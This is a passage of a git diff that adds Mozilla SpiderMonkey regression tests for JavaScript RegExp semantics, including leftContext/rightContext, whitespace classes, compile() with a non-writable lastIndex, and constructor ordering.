+'abc123xyz'.match(/456/);
+new TestCase ( "'abc123xyz'.match(/456/); RegExp.leftContext",
+ 'abc', RegExp.leftContext);
+
+// 'abc123xyz'.match(/abc123xyz/); RegExp.leftContext
+'abc123xyz'.match(/abc123xyz/);
+new TestCase ( "'abc123xyz'.match(/abc123xyz/); RegExp.leftContext",
+ '', RegExp.leftContext);
+
+// 'xxxx'.match(/$/); RegExp.leftContext
+'xxxx'.match(/$/);
+new TestCase ( "'xxxx'.match(/$/); RegExp.leftContext",
+ 'xxxx', RegExp.leftContext);
+
+// 'test'.match(/^/); RegExp.leftContext
+'test'.match(/^/);
+new TestCase ( "'test'.match(/^/); RegExp.leftContext",
+ '', RegExp.leftContext);
+
+// 'xxxx'.match(new RegExp('$')); RegExp.leftContext
+'xxxx'.match(new RegExp('$'));
+new TestCase ( "'xxxx'.match(new RegExp('$')); RegExp.leftContext",
+ 'xxxx', RegExp.leftContext);
+
+// 'test'.match(new RegExp('^')); RegExp.leftContext
+'test'.match(new RegExp('^'));
+new TestCase ( "'test'.match(new RegExp('^')); RegExp.leftContext",
+ '', RegExp.leftContext);
+
+test();
diff --git a/js/src/tests/non262/RegExp/RegExp_leftContext_as_array.js b/js/src/tests/non262/RegExp/RegExp_leftContext_as_array.js
new file mode 100644
index 0000000000..04e7948476
--- /dev/null
+++ b/js/src/tests/non262/RegExp/RegExp_leftContext_as_array.js
@@ -0,0 +1,56 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_leftContext_as_array.js
+ Description: 'Tests RegExps leftContext property (same tests as RegExp_leftContext.js but using $`)'
+
+ Author: Nick Lerissa
+ Date: March 12, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var TITLE = 'RegExp: $`';
+
+writeHeaderToLog('Executing script: RegExp_leftContext_as_array.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// 'abc123xyz'.match(/123/); RegExp['$`']
+'abc123xyz'.match(/123/);
+new TestCase ( "'abc123xyz'.match(/123/); RegExp['$`']",
+ 'abc', RegExp['$`']);
+
+// 'abc123xyz'.match(/456/); RegExp['$`']
+'abc123xyz'.match(/456/);
+new TestCase ( "'abc123xyz'.match(/456/); RegExp['$`']",
+ 'abc', RegExp['$`']);
+
+// 'abc123xyz'.match(/abc123xyz/); RegExp['$`']
+'abc123xyz'.match(/abc123xyz/);
+new TestCase ( "'abc123xyz'.match(/abc123xyz/); RegExp['$`']",
+ '', RegExp['$`']);
+
+// 'xxxx'.match(/$/); RegExp['$`']
+'xxxx'.match(/$/);
+new TestCase ( "'xxxx'.match(/$/); RegExp['$`']",
+ 'xxxx', RegExp['$`']);
+
+// 'test'.match(/^/); RegExp['$`']
+'test'.match(/^/);
+new TestCase ( "'test'.match(/^/); RegExp['$`']",
+ '', RegExp['$`']);
+
+// 'xxxx'.match(new RegExp('$')); RegExp['$`']
+'xxxx'.match(new RegExp('$'));
+new TestCase ( "'xxxx'.match(new RegExp('$')); RegExp['$`']",
+ 'xxxx', RegExp['$`']);
+
+// 'test'.match(new RegExp('^')); RegExp['$`']
+'test'.match(new RegExp('^'));
+new TestCase ( "'test'.match(new RegExp('^')); RegExp['$`']",
+ '', RegExp['$`']);
+
+test();
diff --git a/js/src/tests/non262/RegExp/RegExp_object.js b/js/src/tests/non262/RegExp/RegExp_object.js
new file mode 100644
index 0000000000..69fe4946ad
--- /dev/null
+++ b/js/src/tests/non262/RegExp/RegExp_object.js
@@ -0,0 +1,54 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_object.js
+ Description: 'Tests regular expressions creating RexExp Objects'
+
+ Author: Nick Lerissa
+ Date: March 10, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var TITLE = 'RegExp: object';
+
+writeHeaderToLog('Executing script: RegExp_object.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var SSN_pattern = new RegExp("\\d{3}-\\d{2}-\\d{4}");
+
+// testing SSN pattern
+new TestCase ( "'Test SSN is 123-34-4567'.match(SSN_pattern))",
+ String(["123-34-4567"]), String('Test SSN is 123-34-4567'.match(SSN_pattern)));
+
+// testing SSN pattern
+new TestCase ( "'Test SSN is 123-34-4567'.match(SSN_pattern))",
+ String(["123-34-4567"]), String('Test SSN is 123-34-4567'.match(SSN_pattern)));
+
+var PHONE_pattern = new RegExp("\\(?(\\d{3})\\)?-?(\\d{3})-(\\d{4})");
+// testing PHONE pattern
+new TestCase ( "'Our phone number is (408)345-2345.'.match(PHONE_pattern))",
+ String(["(408)345-2345","408","345","2345"]), String('Our phone number is (408)345-2345.'.match(PHONE_pattern)));
+
+// testing PHONE pattern
+new TestCase ( "'The phone number is 408-345-2345!'.match(PHONE_pattern))",
+ String(["408-345-2345","408","345","2345"]), String('The phone number is 408-345-2345!'.match(PHONE_pattern)));
+
+// testing PHONE pattern
+new TestCase ( "String(PHONE_pattern.toString())",
+ "/\\(?(\\d{3})\\)?-?(\\d{3})-(\\d{4})/", String(PHONE_pattern.toString()));
+
+// testing conversion to String
+new TestCase ( "PHONE_pattern + ' is the string'",
+ "/\\(?(\\d{3})\\)?-?(\\d{3})-(\\d{4})/ is the string",PHONE_pattern + ' is the string');
+
+// testing conversion to int
+new TestCase ( "SSN_pattern - 8",
+ NaN,SSN_pattern - 8);
+
+var testPattern = new RegExp("(\\d+)45(\\d+)90");
+
+test();
diff --git a/js/src/tests/non262/RegExp/RegExp_rightContext.js b/js/src/tests/non262/RegExp/RegExp_rightContext.js
new file mode 100644
index 0000000000..131e989ad1
--- /dev/null
+++ b/js/src/tests/non262/RegExp/RegExp_rightContext.js
@@ -0,0 +1,56 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_rightContext.js
+ Description: 'Tests RegExps rightContext property'
+
+ Author: Nick Lerissa
+ Date: March 12, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var TITLE = 'RegExp: rightContext';
+
+writeHeaderToLog('Executing script: RegExp_rightContext.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// 'abc123xyz'.match(/123/); RegExp.rightContext
+'abc123xyz'.match(/123/);
+new TestCase ( "'abc123xyz'.match(/123/); RegExp.rightContext",
+ 'xyz', RegExp.rightContext);
+
+// 'abc123xyz'.match(/456/); RegExp.rightContext
+'abc123xyz'.match(/456/);
+new TestCase ( "'abc123xyz'.match(/456/); RegExp.rightContext",
+ 'xyz', RegExp.rightContext);
+
+// 'abc123xyz'.match(/abc123xyz/); RegExp.rightContext
+'abc123xyz'.match(/abc123xyz/);
+new TestCase ( "'abc123xyz'.match(/abc123xyz/); RegExp.rightContext",
+ '', RegExp.rightContext);
+
+// 'xxxx'.match(/$/); RegExp.rightContext
+'xxxx'.match(/$/);
+new TestCase ( "'xxxx'.match(/$/); RegExp.rightContext",
+ '', RegExp.rightContext);
+
+// 'test'.match(/^/); RegExp.rightContext
+'test'.match(/^/);
+new TestCase ( "'test'.match(/^/); RegExp.rightContext",
+ 'test', RegExp.rightContext);
+
+// 'xxxx'.match(new RegExp('$')); RegExp.rightContext
+'xxxx'.match(new RegExp('$'));
+new TestCase ( "'xxxx'.match(new RegExp('$')); RegExp.rightContext",
+ '', RegExp.rightContext);
+
+// 'test'.match(new RegExp('^')); RegExp.rightContext
+'test'.match(new RegExp('^'));
+new TestCase ( "'test'.match(new RegExp('^')); RegExp.rightContext",
+ 'test', RegExp.rightContext);
+
+test();
diff --git a/js/src/tests/non262/RegExp/RegExp_rightContext_as_array.js b/js/src/tests/non262/RegExp/RegExp_rightContext_as_array.js
new file mode 100644
index 0000000000..34dbcaac4d
--- /dev/null
+++ b/js/src/tests/non262/RegExp/RegExp_rightContext_as_array.js
@@ -0,0 +1,56 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_rightContext_as_array.js
+ Description: 'Tests RegExps $\' property (same tests as RegExp_rightContext.js but using $\)'
+
+ Author: Nick Lerissa
+ Date: March 12, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var TITLE = 'RegExp: $\'';
+
+writeHeaderToLog('Executing script: RegExp_rightContext.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// 'abc123xyz'.match(/123/); RegExp['$\'']
+'abc123xyz'.match(/123/);
+new TestCase ( "'abc123xyz'.match(/123/); RegExp['$\'']",
+ 'xyz', RegExp['$\'']);
+
+// 'abc123xyz'.match(/456/); RegExp['$\'']
+'abc123xyz'.match(/456/);
+new TestCase ( "'abc123xyz'.match(/456/); RegExp['$\'']",
+ 'xyz', RegExp['$\'']);
+
+// 'abc123xyz'.match(/abc123xyz/); RegExp['$\'']
+'abc123xyz'.match(/abc123xyz/);
+new TestCase ( "'abc123xyz'.match(/abc123xyz/); RegExp['$\'']",
+ '', RegExp['$\'']);
+
+// 'xxxx'.match(/$/); RegExp['$\'']
+'xxxx'.match(/$/);
+new TestCase ( "'xxxx'.match(/$/); RegExp['$\'']",
+ '', RegExp['$\'']);
+
+// 'test'.match(/^/); RegExp['$\'']
+'test'.match(/^/);
+new TestCase ( "'test'.match(/^/); RegExp['$\'']",
+ 'test', RegExp['$\'']);
+
+// 'xxxx'.match(new RegExp('$')); RegExp['$\'']
+'xxxx'.match(new RegExp('$'));
+new TestCase ( "'xxxx'.match(new RegExp('$')); RegExp['$\'']",
+ '', RegExp['$\'']);
+
+// 'test'.match(new RegExp('^')); RegExp['$\'']
+'test'.match(new RegExp('^'));
+new TestCase ( "'test'.match(new RegExp('^')); RegExp['$\'']",
+ 'test', RegExp['$\'']);
+
+test();
diff --git a/js/src/tests/non262/RegExp/browser.js b/js/src/tests/non262/RegExp/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/RegExp/browser.js
diff --git a/js/src/tests/non262/RegExp/character-class-escape-s.js b/js/src/tests/non262/RegExp/character-class-escape-s.js
new file mode 100644
index 0000000000..ec1adeb5ba
--- /dev/null
+++ b/js/src/tests/non262/RegExp/character-class-escape-s.js
@@ -0,0 +1,54 @@
+/* Generated by make_unicode.py DO NOT MODIFY */
+/* Unicode version: 13.0.0 */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var onlySpace = String.fromCodePoint(
+ 0x0009 /* <control> (CHARACTER TABULATION) */,
+ 0x000A /* <control> (LINE FEED (LF)) */,
+ 0x000B /* <control> (LINE TABULATION) */,
+ 0x000C /* <control> (FORM FEED (FF)) */,
+ 0x000D /* <control> (CARRIAGE RETURN (CR)) */,
+ 0x0020 /* SPACE */,
+ 0x00A0 /* NO-BREAK SPACE (NON-BREAKING SPACE) */,
+ 0x1680 /* OGHAM SPACE MARK */,
+ 0x2000 /* EN QUAD */,
+ 0x2001 /* EM QUAD */,
+ 0x2002 /* EN SPACE */,
+ 0x2003 /* EM SPACE */,
+ 0x2004 /* THREE-PER-EM SPACE */,
+ 0x2005 /* FOUR-PER-EM SPACE */,
+ 0x2006 /* SIX-PER-EM SPACE */,
+ 0x2007 /* FIGURE SPACE */,
+ 0x2008 /* PUNCTUATION SPACE */,
+ 0x2009 /* THIN SPACE */,
+ 0x200A /* HAIR SPACE */,
+ 0x2028 /* LINE SEPARATOR */,
+ 0x2029 /* PARAGRAPH SEPARATOR */,
+ 0x202F /* NARROW NO-BREAK SPACE */,
+ 0x205F /* MEDIUM MATHEMATICAL SPACE */,
+ 0x3000 /* IDEOGRAPHIC SPACE */,
+ 0xFEFF /* ZERO WIDTH NO-BREAK SPACE (BYTE ORDER MARK) */
+);
+
+assertEq(/^\s+$/.exec(onlySpace) !== null, true);
+assertEq(/^[\s]+$/.exec(onlySpace) !== null, true);
+assertEq(/^[^\s]+$/.exec(onlySpace) === null, true);
+
+assertEq(/^\S+$/.exec(onlySpace) === null, true);
+assertEq(/^[\S]+$/.exec(onlySpace) === null, true);
+assertEq(/^[^\S]+$/.exec(onlySpace) !== null, true);
+
+// Also test with Unicode RegExps.
+assertEq(/^\s+$/u.exec(onlySpace) !== null, true);
+assertEq(/^[\s]+$/u.exec(onlySpace) !== null, true);
+assertEq(/^[^\s]+$/u.exec(onlySpace) === null, true);
+
+assertEq(/^\S+$/u.exec(onlySpace) === null, true);
+assertEq(/^[\S]+$/u.exec(onlySpace) === null, true);
+assertEq(/^[^\S]+$/u.exec(onlySpace) !== null, true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/character-escape-class-s-mongolian-vowel-separator.js b/js/src/tests/non262/RegExp/character-escape-class-s-mongolian-vowel-separator.js
new file mode 100644
index 0000000000..d7a8b980da
--- /dev/null
+++ b/js/src/tests/non262/RegExp/character-escape-class-s-mongolian-vowel-separator.js
@@ -0,0 +1,25 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var mongolian_vowel_separator = "\u180e";
+
+assertEq(/^\s+$/.exec(mongolian_vowel_separator) === null, true);
+assertEq(/^[\s]+$/.exec(mongolian_vowel_separator) === null, true);
+assertEq(/^[^\s]+$/.exec(mongolian_vowel_separator) !== null, true);
+
+assertEq(/^\S+$/.exec(mongolian_vowel_separator) !== null, true);
+assertEq(/^[\S]+$/.exec(mongolian_vowel_separator) !== null, true);
+assertEq(/^[^\S]+$/.exec(mongolian_vowel_separator) === null, true);
+
+// Also test with Unicode RegExps.
+assertEq(/^\s+$/u.exec(mongolian_vowel_separator) === null, true);
+assertEq(/^[\s]+$/u.exec(mongolian_vowel_separator) === null, true);
+assertEq(/^[^\s]+$/u.exec(mongolian_vowel_separator) !== null, true);
+
+assertEq(/^\S+$/u.exec(mongolian_vowel_separator) !== null, true);
+assertEq(/^[\S]+$/u.exec(mongolian_vowel_separator) !== null, true);
+assertEq(/^[^\S]+$/u.exec(mongolian_vowel_separator) === null, true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/class-null.js b/js/src/tests/non262/RegExp/class-null.js
new file mode 100644
index 0000000000..c95e5a4d79
--- /dev/null
+++ b/js/src/tests/non262/RegExp/class-null.js
@@ -0,0 +1,15 @@
+var BUGNUMBER = 1279467;
+var summary = "Null in character class in RegExp with unicode flag.";
+
+print(BUGNUMBER + ": " + summary);
+
+var m = /([\0]+)/u.exec("\u0000");
+assertEq(m.length, 2);
+assertEq(m[0], '\u0000');
+assertEq(m[1], '\u0000');
+
+var m = /([\0]+)/u.exec("0");
+assertEq(m, null);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/compile-lastIndex.js b/js/src/tests/non262/RegExp/compile-lastIndex.js
new file mode 100644
index 0000000000..5bd7e0b983
--- /dev/null
+++ b/js/src/tests/non262/RegExp/compile-lastIndex.js
@@ -0,0 +1,82 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 1253099;
+var summary =
+ "RegExp.prototype.compile must perform all its steps *except* setting " +
+ ".lastIndex, then throw, when provided a RegExp whose .lastIndex has been " +
+ "made non-writable";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var regex = /foo/i;
+
+// Aside from making .lastIndex non-writable, this has one incidental effect
+// ubiquitously tested through the remainder of this test:
+//
+// * RegExp.prototype.compile will do everything it ordinarily does, BUT it
+// will throw a TypeError when attempting to zero .lastIndex immediately
+// before succeeding overall.
+//
+// Ain't it great?
+Object.defineProperty(regex, "lastIndex", { value: 42, writable: false });
+
+assertEq(regex.global, false);
+assertEq(regex.ignoreCase, true);
+assertEq(regex.multiline, false);
+assertEq(regex.unicode, false);
+assertEq(regex.sticky, false);
+assertEq(Object.getOwnPropertyDescriptor(regex, "lastIndex").writable, false);
+assertEq(regex.lastIndex, 42);
+
+assertEq(regex.test("foo"), true);
+assertEq(regex.test("FOO"), true);
+assertEq(regex.test("bar"), false);
+assertEq(regex.test("BAR"), false);
+
+assertThrowsInstanceOf(() => regex.compile("bar"), TypeError);
+
+assertEq(regex.global, false);
+assertEq(regex.ignoreCase, false);
+assertEq(regex.multiline, false);
+assertEq(regex.unicode, false);
+assertEq(regex.sticky, false);
+assertEq(Object.getOwnPropertyDescriptor(regex, "lastIndex").writable, false);
+assertEq(regex.lastIndex, 42);
+assertEq(regex.test("foo"), false);
+assertEq(regex.test("FOO"), false);
+assertEq(regex.test("bar"), true);
+assertEq(regex.test("BAR"), false);
+
+assertThrowsInstanceOf(() => regex.compile("^baz", "m"), TypeError);
+
+assertEq(regex.global, false);
+assertEq(regex.ignoreCase, false);
+assertEq(regex.multiline, true);
+assertEq(regex.unicode, false);
+assertEq(regex.sticky, false);
+assertEq(Object.getOwnPropertyDescriptor(regex, "lastIndex").writable, false);
+assertEq(regex.lastIndex, 42);
+assertEq(regex.test("foo"), false);
+assertEq(regex.test("FOO"), false);
+assertEq(regex.test("bar"), false);
+assertEq(regex.test("BAR"), false);
+assertEq(regex.test("baz"), true);
+assertEq(regex.test("BAZ"), false);
+assertEq(regex.test("012345678901234567890123456789012345678901baz"), false);
+assertEq(regex.test("012345678901234567890123456789012345678901\nbaz"), true);
+assertEq(regex.test("012345678901234567890123456789012345678901BAZ"), false);
+assertEq(regex.test("012345678901234567890123456789012345678901\nBAZ"), false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/RegExp/compile-symbol.js b/js/src/tests/non262/RegExp/compile-symbol.js
new file mode 100644
index 0000000000..9eea1124c8
--- /dev/null
+++ b/js/src/tests/non262/RegExp/compile-symbol.js
@@ -0,0 +1,14 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+for (let sym of [Symbol.iterator, Symbol(), Symbol("description")]) {
+ let re = /a/;
+
+ assertEq(re.source, "a");
+ assertThrowsInstanceOf(() => re.compile(sym), TypeError);
+ assertEq(re.source, "a");
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/RegExp/constructor-IsRegExp.js b/js/src/tests/non262/RegExp/constructor-IsRegExp.js
new file mode 100644
index 0000000000..8c735e4b97
--- /dev/null
+++ b/js/src/tests/non262/RegExp/constructor-IsRegExp.js
@@ -0,0 +1,86 @@
+var BUGNUMBER = 1147817;
+var summary = "RegExp constructor with pattern with @@match.";
+
+print(BUGNUMBER + ": " + summary);
+
+var matchValue;
+var constructorValue;
+
+var matchGet;
+var constructorGet;
+var sourceGet;
+var flagsGet;
+function reset() {
+ matchGet = false;
+ constructorGet = false;
+ sourceGet = false;
+ flagsGet = false;
+}
+var obj = {
+ get [Symbol.match]() {
+ matchGet = true;
+ return matchValue;
+ },
+ get constructor() {
+ constructorGet = true;
+ return constructorValue;
+ },
+ get source() {
+ sourceGet = true;
+ return "foo";
+ },
+ get flags() {
+ flagsGet = true;
+ return "i";
+ },
+ toString() {
+ return "bar";
+ }
+};
+
+matchValue = true;
+constructorValue = function() {};
+
+reset();
+assertEq(RegExp(obj).toString(), "/foo/i");
+assertEq(matchGet, true);
+assertEq(constructorGet, true);
+assertEq(sourceGet, true);
+assertEq(flagsGet, true);
+
+reset();
+assertEq(RegExp(obj, "g").toString(), "/foo/g");
+assertEq(matchGet, true);
+assertEq(constructorGet, false);
+assertEq(sourceGet, true);
+assertEq(flagsGet, false);
+
+matchValue = false;
+constructorValue = function() {};
+
+reset();
+assertEq(RegExp(obj).toString(), "/bar/");
+assertEq(matchGet, true);
+assertEq(constructorGet, false);
+assertEq(sourceGet, false);
+assertEq(flagsGet, false);
+
+reset();
+assertEq(RegExp(obj, "g").toString(), "/bar/g");
+assertEq(matchGet, true);
+assertEq(constructorGet, false);
+assertEq(sourceGet, false);
+assertEq(flagsGet, false);
+
+matchValue = true;
+constructorValue = RegExp;
+
+reset();
+assertEq(RegExp(obj), obj);
+assertEq(matchGet, true);
+assertEq(constructorGet, true);
+assertEq(sourceGet, false);
+assertEq(flagsGet, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/constructor-constructor.js b/js/src/tests/non262/RegExp/constructor-constructor.js
new file mode 100644
index 0000000000..528f4978c2
--- /dev/null
+++ b/js/src/tests/non262/RegExp/constructor-constructor.js
@@ -0,0 +1,78 @@
+var BUGNUMBER = 1147817;
+var summary = "RegExp constructor should check pattern.constructor.";
+
+print(BUGNUMBER + ": " + summary);
+
+var g = newGlobal();
+
+var re = /foo/;
+assertEq(RegExp(re), re);
+re.constructor = 10;
+assertEq(RegExp(re) === re, false);
+assertEq(RegExp(re).toString(), re.toString());
+
+// If pattern comes from different global, RegExp shouldn't return it.
+re = g.eval(`var re = /foo/; re;`);
+assertEq(RegExp(re) === re, false);
+assertEq(RegExp(re).toString(), re.toString());
+g.eval(`re.constructor = 10;`);
+assertEq(RegExp(re) === re, false);
+assertEq(RegExp(re).toString(), re.toString());
+
+
+re = new Proxy(/a/, {
+ get(that, name) {
+ return that[name];
+ }
+});
+assertEq(RegExp(re), re);
+re = new Proxy(/a/, {
+ get(that, name) {
+ if (name == "constructor") {
+ return function() {};
+ }
+ return that[name];
+ }
+});
+assertEq(RegExp(re) === re, false);
+re = new Proxy(/a/, {
+ get(that, name) {
+ if (name == Symbol.match) {
+ return undefined;
+ }
+ return that[name];
+ }
+});
+assertEq(RegExp(re) === re, false);
+
+re = new Proxy(g.eval(`/a/`), {
+ get(that, name) {
+ return that[name];
+ }
+});
+assertEq(RegExp(re) === re, false);
+
+re = g.eval(`new Proxy(/a/, {
+ get(that, name) {
+ return that[name];
+ }
+});`);
+assertEq(RegExp(re) === re, false);
+
+
+var obj = { [Symbol.match]: true, source: "foo", flags: "gi" };
+assertEq(RegExp(obj) === obj, false);
+assertEq(RegExp(obj).toString(), "/foo/gi");
+obj.constructor = RegExp;
+assertEq(RegExp(obj), obj);
+
+obj = g.eval(`var obj = { [Symbol.match]: true, source: "foo", flags: "gi" }; obj;`);
+assertEq(RegExp(obj) === obj, false);
+assertEq(RegExp(obj).toString(), "/foo/gi");
+g.eval(`obj.constructor = RegExp`);
+assertEq(RegExp(obj) === obj, false);
+obj.constructor = RegExp;
+assertEq(RegExp(obj), obj);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/constructor-ordering-2.js b/js/src/tests/non262/RegExp/constructor-ordering-2.js
new file mode 100644
index 0000000000..21a6bbeca7
--- /dev/null
+++ b/js/src/tests/non262/RegExp/constructor-ordering-2.js
@@ -0,0 +1,21 @@
+// Make sure that we don't ToString the second argument until /after/ doing
+// the appropriate subclassing lookups
+
+var didLookup = false;
+
+var re = /a/;
+var flags = { toString() { assertEq(didLookup, true); return "g"; } };
+var newRe = Reflect.construct(RegExp, [re, flags],
+ Object.defineProperty(function(){}.bind(null), "prototype", {
+ get() {
+ didLookup = true;
+ return RegExp.prototype;
+ }
+}));
+
+assertEq(Object.getPrototypeOf(newRe), RegExp.prototype);
+assertEq(didLookup, true);
+
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/RegExp/constructor-ordering.js b/js/src/tests/non262/RegExp/constructor-ordering.js
new file mode 100644
index 0000000000..3e3a9b695b
--- /dev/null
+++ b/js/src/tests/non262/RegExp/constructor-ordering.js
@@ -0,0 +1,16 @@
+// Make sure that we don't misorder subclassing accesses with respect to
+// accessing regex arg internal slots
+//
+// Test credit André Bargull.
+
+var re = /a/;
+var newRe = Reflect.construct(RegExp, [re], Object.defineProperty(function(){}.bind(null), "prototype", {
+ get() {
+ re.compile("b");
+ return RegExp.prototype;
+ }
+}));
+assertEq(newRe.source, "a");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/RegExp/constructor-regexp-unicode.js b/js/src/tests/non262/RegExp/constructor-regexp-unicode.js
new file mode 100644
index 0000000000..b348c34a01
--- /dev/null
+++ b/js/src/tests/non262/RegExp/constructor-regexp-unicode.js
@@ -0,0 +1,9 @@
+var BUGNUMBER = 1274393;
+var summary = "RegExp constructor should check the pattern syntax again when adding unicode flag.";
+
+print(BUGNUMBER + ": " + summary);
+
+assertThrowsInstanceOf(() => RegExp(/\-/, "u"), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/constructor-regexp.js b/js/src/tests/non262/RegExp/constructor-regexp.js
new file mode 100644
index 0000000000..419b027138
--- /dev/null
+++ b/js/src/tests/non262/RegExp/constructor-regexp.js
@@ -0,0 +1,61 @@
+var BUGNUMBER = 1130860;
+var summary = "RegExp constructor shouldn't invoke source/flags getters on argument RegExp instance.";
+
+print(BUGNUMBER + ": " + summary);
+
+// same-compartment
+var a = /foo/;
+var flagsCalled = false;
+var sourceCalled = false;
+Object.defineProperty(a, "source", { get: () => {
+ sourceCalled = true;
+ return "bar";
+}});
+Object.defineProperty(a, "flags", { get: () => {
+ flagsCalled = true;
+ return "i";
+}});
+
+assertEq(a.source, "bar");
+assertEq(a.flags, "i");
+assertEq(sourceCalled, true);
+assertEq(flagsCalled, true);
+
+sourceCalled = false;
+flagsCalled = false;
+assertEq(new RegExp(a).source, "foo");
+assertEq(sourceCalled, false);
+assertEq(flagsCalled, false);
+
+// cross-compartment
+var g = newGlobal();
+var b = g.eval(`
+var b = /foo2/;
+var flagsCalled = false;
+var sourceCalled = false;
+Object.defineProperty(b, "source", { get: () => {
+ sourceCalled = true;
+ return "bar2";
+}});
+Object.defineProperty(b, "flags", { get: () => {
+ flagsCalled = true;
+ return "i";
+}});
+b;
+`);
+
+assertEq(b.source, "bar2");
+assertEq(b.flags, "i");
+assertEq(g.eval("sourceCalled;"), true);
+assertEq(g.eval("flagsCalled;"), true);
+
+g.eval(`
+sourceCalled = false;
+flagsCalled = false;
+`);
+assertEq(new RegExp(b).source, "foo2");
+assertEq(g.eval("sourceCalled;"), false);
+assertEq(g.eval("flagsCalled;"), false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/constructor-symbol.js b/js/src/tests/non262/RegExp/constructor-symbol.js
new file mode 100644
index 0000000000..503d7e5a85
--- /dev/null
+++ b/js/src/tests/non262/RegExp/constructor-symbol.js
@@ -0,0 +1,14 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+for (let sym of [Symbol.iterator, Symbol(), Symbol("description")]) {
+ assertThrowsInstanceOf(() => RegExp(sym), TypeError);
+ assertThrowsInstanceOf(() => new RegExp(sym), TypeError);
+
+ assertThrowsInstanceOf(() => RegExp(sym, "g"), TypeError);
+ assertThrowsInstanceOf(() => new RegExp(sym, "g"), TypeError);
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/RegExp/control_characters.js b/js/src/tests/non262/RegExp/control_characters.js
new file mode 100644
index 0000000000..dcef462a9a
--- /dev/null
+++ b/js/src/tests/non262/RegExp/control_characters.js
@@ -0,0 +1,39 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: control_characters.js
+ Description: 'Tests regular expressions containing .'
+
+ Author: Nick Lerissa
+ Date: April 8, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var TITLE = 'RegExp: .';
+var BUGNUMBER="123802";
+
+printBugNumber(BUGNUMBER);
+writeHeaderToLog('Executing script: control_characters.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// 'àOÐ ê:i¢Ø'.match(new RegExp('.+'))
+new TestCase ( "'àOÐ ê:i¢Ø'.match(new RegExp('.+'))",
+ String(['àOÐ ê:i¢Ø']), String('àOÐ ê:i¢Ø'.match(new RegExp('.+'))));
+
+// string1.match(new RegExp(string1))
+var string1 = 'àOÐ ê:i¢Ø';
+new TestCase ( "string1 = " + string1 + " string1.match(string1)",
+ String([string1]), String(string1.match(string1)));
+
+string1 = "";
+for (var i = 0; i < 32; i++)
+ string1 += String.fromCharCode(i);
+new TestCase ( "string1 = " + string1 + " string1.match(string1)",
